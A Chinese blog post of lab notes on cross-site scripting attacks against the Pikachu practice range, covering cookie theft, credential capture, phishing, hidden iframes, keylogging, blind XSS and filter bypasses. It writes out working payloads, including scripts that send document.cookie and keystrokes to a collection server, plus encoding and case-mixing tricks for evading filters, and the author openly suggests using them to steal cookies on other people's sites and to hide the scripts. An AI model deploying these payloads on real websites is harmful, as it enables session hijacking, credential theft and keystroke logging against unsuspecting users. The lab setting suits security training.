• xss靶场笔记


    XSS攻防解析

    0x01. 平台搭建

    依然是以最熟悉的pikachu平台来搭建我们的靶场环境

    1. 安装

    http://192.168.18.59:90/pikachu/pkxss/index.php
    

    image-20201231132156451

    image-20201231132221135image-20201231132243641

    image-20201231132316376

    image-20201231132326888

    出现以上画面,pikachu xss后台即为安装成功,基本上是傻瓜式的,你别说你的不行

    0x02. 截取cookie

    修改cookie.php文件

    image-20201231132958681

    这个文件的功能是获取你当前用户的指纹信息,然后存到自己的数据库,最后跳转到首页,如果你想在别的网站上

    窃取用户的cookie你就搞一个这样的api,同时把xss脚本写到别人的网站上,至于怎么隐藏xss脚本不被发现就看

    你自己的本事了

    获取cookie的xss脚本

    '"><script>document.location = 'http://192.168.18.59:90/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
    
    /#通过document.location 实例进行重定向到http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=
    # document.location你可以认为是页面即将要发请求(加载)的地址
    # document.cookie当前页面的cookie
    

    简单显示

    image-20201231134248478

    回车之后会跳转到页面的首页,然后打开我们的后台,可以看到将当前的cookie给获取了

    image-20201231134420219

    0x03. 获取账号和密码

    当你检测到那个页面有xss漏洞,你可以用抓包工具把请求抓下来,然后构造一个html页面,这里以pikachu中的

    post.html分析

    image-20201231143658263

    这个html文件实现的功能是,首先有一个form表单,提交数据的方式是post,提交的地址是一个指定地址

    表单中有一个input输入框,并且这个input框的value值,已经写死了,是一段获取cookie的xss脚本,紧接着是

    一个submit提交的文本框,文件中还有一段js脚本,是当窗口页面加载完成就会触发的一个函数,函数的功能是

    自动点击submit提交按钮,也就是说当你一打开这个页面,你当前的cookie就会被截获走

    当一个用户登录了pikachu,但是你很想知道他的pikachu账号和密码,于是乎你写了一个post.html这样的一个

    脚本 , 然后一番伪造用qq发个那个人 , 那个人一在地址栏访问 , 就会把cookie里面的账号和密码发到你的后台,

    同时受害者一闪直接跳回pikachu首页 , 没有察觉到什么

    http://192.168.18.59:90/pikachu/pkxss/xcookie/post.html
    

    查看后台截获的密码

    image-20201231141030926

    0x04. 钓鱼

    会在提交的页面上弹出一个浏览器端的用户验证,需要输入账号和密码,然后发送到指定的钓鱼网站

    image-20201231143334094

    在存储型xss中输入以下xss脚本

    1111'"><script src="http://192.168.18.59:90/pikachu/pkxss/xfish/fish.php"></script>
    

    当别人点击登录pikachu点击存储型xss的时候就会自动弹出这个对话框,如果已经输入过一次就不会弹出了

    image-20201231144605543

    查看后台钓鱼情况

    image-20201231145009998

    0x05. 挂马

    也有的人称之为暗链,就是在当前页面挂一个别的网站的链接,一般都会隐藏起来,不让用户发现

    每当这个页面加载就会偷偷加载木马页面

    简单显示框架挂马

    <iframe src="网马的地址" width="0" height="0" frameborder="0"></iframe>
    
    222'">x <iframe src="https://www.baidu.com" width="500" height="5000" frameborder="0"></iframe>
    

    image-20201231150308010

    隐藏的话只需要把三个属性的值改为0即可

    详细挂马教程请见 :https://blog.csdn.net/cdefu/article/details/4139192/

    0x06. 键盘记录

    在演示键盘记录前,你需要先掌握什么是跨域和浏览器同源策略

    跨域

    http://www.oldboyedu.com:80/news/index.php

    协议 子域名 主域名 端口 资源地址

    当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域。我们把不同的域之间请求数据的操作,成为跨域操作

    https://www.oldboyedu.com:80
    http://www.oldboyedu.com:80
    
    http://vip.oldboyedu.com:80
    http://www.oldboyedu.com:80
    
    http://www.oldboyedu.com:80
    http://www.oldboyedu.com:82
    
    以上且属于不在一个域里
    

    同源策略

    为了安全考虑,所有浏览器都约定了“同源策略”,同源策略禁止页面加载或执行与自身来源不同的域的任何脚本

    既不同域之间不能使用JS进行操作。比如:x.com域名下的js不能操作y.com域名下的对象

    那么为什么要有同源策略? 比如一个恶意网站的页面通过js嵌入了银行的登录页面(二者不同源),如果没有同

    源限制,恶意网页上的javascript脚本就可以在用户登录银行的时候获取用户名和密码。

    Tips:下面这些标签跨域加载资源(资源类型是有限止的)是不受同源策略限制的

    <script src="...">  //加载本地js执行
    <img src="...">  //图片
    <link href="...">  //css
    <iframe src="...">  //任意资源
    

    同源策略修改

    D:\phpStudy\WWW\pikachu\pkxss\rkeypress\rkserver.php
    
    同之前的案例到后台设置好Access-Control-Allow-Origin,设置为*,既允许所有人访问。
    					  接受     控制     允许     域
    

    image-20201231151709084

    修改文件

    image-20201231152009689

    监听键盘的xss脚本

    <script src="http://192.168.18.59:90/pikachu/pkxss/rkeypress/rk.js"></script>
    

    rk.js关键代码解读

    image-20201231153221145

    var realkey = String.fromCharCode(event.keyCode); //获取用户键盘记录,最后转化为字符串

    xl+=realkey; //赋值给x1

    show(); //调用show涵数,通过下面ajax进行post发送键盘记录人内容

    简单演示

    4444'"><script src="http://192.168.18.59:90/pikachu/pkxss/rkeypress/rk.js"></script>
    

    image-20201231155914973

    测试结果失败

    image-20201231161845116

    因为谷歌浏览器遵守了w3c规范在XMLHttpRequest不允许设置一些headers,他们会被浏览器自动设置

    简单总结一下思路,网站允许跨域,然后js里面偷偷发ajax请求把键盘给记录下来

    0x07. xss盲打

    XSS盲打就是攻击者在前端提交的数据不知道后台是否存在xss漏洞的情况下,提交恶意JS代码在类似留言板等输

    入框后,所展现的后台位置的情况下,网站采用了攻击者插入的恶意代码,当后台管理员在操作时就会触发插入的

    恶意代码,从而达到攻击者的目的。

    就是攻击者在前端看不到xss攻击的结果,一般插获取cookies/账密的脚本 , 这里就用简单的弹窗演示

    1111'"><script>alert(/xxx/)</script>
    

    image-20201231162845196

    管理员登录查看http://192.168.18.59:90/pikachu/vul/xss/xssblind/admin.php

    image-20201231163020831

    image-20201231163114548

    xss漏洞可玩性很高的,一般你在可以输入内容的地方都可以把xss攻击写进去,然后搭建一个云服务平台,就写一

    个获取cookie的接口,然后保存在数据库中,然后当捕捉到cookie就自动发一个邮件通知

    0x08. xss过滤

    '"><script>alert(666)</script> 
    

    image-20201231163713384

    点击提交,发现并没有弹窗,我们打开源代码看看怎么回事,在生产环境中你是看不到源代码的

    C:\phpStudy\WWW\pikachu\vul\xss\xss_01.php
    

    image-20201231164220948

    发现在源码内部对message接收的数据进行了过滤 , 但是不是绝对的过滤 , 你可以用BP跑一下或者尝试一下其他

    的xss攻击,xss攻击不代表只有script,编码啦等等很多,你要知道黑名单永远都是不完全的

    image-20201231165044076

    "><iframe src="javascRipt:alert(XSS)">
    

    image-20201231165200081

    0x09. xss绕过

    大多数网站为了避免xss的攻击,对于攻击者的输入都采取了过滤的措施,导致攻击者通常不能正常插入恶意代码来达到攻击目的。但是仍存在一些漏洞可以利用,来绕过过滤措施。
    
    xss绕过的方法有许多,主要取决于攻击者的思路和对前端技术的掌握,以下介绍几个简单的绕过方法。
    
    • 对前端的限制可以尝试进行抓包重发或者修改前端的HTML

    • 防止后台对输入的内容进行正则匹配来过滤输入,对于这样的过滤可以考虑大小写混合输入的方法。

      例:<sCRipT>alert('你打篮球像oldboy')</sCrIPt>
      

      image-20201231165844064

    • 防止后台对输入的内容进行替换,采用拼凑的输入方法。

      例:<sc<script>ript>alert('你打篮球像oldboy')</scr<script>ipt>    # CTF中出现过这种绕过
      
    • 使用注释来干扰后台对输入内容的识别。

       例:<sc<!--test-->ript>alert('你打篮球像oldboy')</scr<!--tshauie-->ipt>
      
    • 编码

      思路:后台有可能会对代码中的关键字进行过滤,但我们可以尝试将关键字进行编码后在插入,浏览器对改编

      码进行识别时,会翻译成正常的代码。(注意:编码在输出时是否会被正常识别和翻译才是关键,不是所有的

      编码都是可以的,常见的有base64,html编码)

      <img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#121;&#97;&#110;&#103;&#115;&#104;&#117;&#97;&#110;&#103;&#39;&#41;"/>
      

      image-20201231170842007

    • 使用事件属性

      onerror(): <img src=# onerror="alert('oldboy')"/>
      

      image-20201231170737637

    0x10. XSS之htmlspecialchars

    该函数的语法:

    htmlspecialchars(string,flags,character-set,double_encode)

    过滤原理:htmlspecialchars() 函数把预定义的字符转换为 HTML 实体,从而使XSS攻击失效。但是这个函

    默认配置不会将单引号和双引号过滤,只有设置了quotestyle规定如何编码单引号和双引号才能会过滤掉单

    引号

    预定义的字符是:

     & (和号)成为 &amp
     " (双引号)成为 &quot
     ’ (单引号)成为&#039
     < (小于)成为 &lt
     >(大于)成为 &gt
    

    可用的quotestyle类型

    • ENT_COMPAT - 默认仅编码双引号

    • ENT_QUOTES - 编码双引号和单引号

    • ENT_NOQUOTES - 不编码任何引号

    '"><script>alert(666)</script> 
    

    image-20201231171707754

    没有弹窗,我们查看一下源码是否进行了htmlspecialchars编码

    image-20201231171853530

    果然是进行了实体编码,但是没有对单引号和双引号过滤而且接收的内容最后传入到了a标签的href属性中,我们

    可以用事件进行xss攻击

    q' onclick='alert("you are dsb")'
    

    image-20201231172410891

    0x11. xss之href

    继续利用q' onclick='alert("you are dsb")'发现并没有弹窗,很有可能是在代码层面把单引号和双引号给过滤掉了

    于是打开源码一探究竟

    image-20201231172539172

    $message=htmlspecialchars($_GET['message'],ENT_QUOTES);
    $html.="<a href='{$message}'> 阁下自己输入的url还请自己点一下吧</a>";
    

    果然对单引号和双引号进行了过滤 , 但是message的值最后传递给了a标签的href属性,于是我们可以利用href属

    性进行弹窗

    javascript:alert(666)
    

    image-20201231173430325

    0x12. xss之js

    当我们把以上两种方法都测试以后,发现还是不能弹窗,这里就要考虑你输入的数据最终是跑到哪里输出了

    考虑是不是在js里面,提交一个正常的查看网站源代码

    image-20201231174041445

    image-20201231174137750

    解决方法:我们可以自己构建一个闭合原来的script标签,然后再拼接一个恶意的script标签

    11'</script><script>alert(1111)</script> ;
    

    image-20201231174346009

  • 相关阅读:
    sed 搜索并替换
    error: call of overloaded ‘sqrt(double&)’ is ambiguous
    C++数组读入MATLAB数据
    Ubuntu 18.04 安装 Octave 5.1
    Ubuntu 18.04 安装 CUDA 9.0
    LSTM 神经网络输入输出层
    tf.nn.rnn_cell.MultiRNNCell
    w = tf.Variable(<initial-value>, name=<optional-name>)
    linux下修改环境变量
    linux内核编程学习——草稿
  • 原文地址:https://www.cnblogs.com/xcymn/p/15721515.html
Copyright © 2020-2023  润新知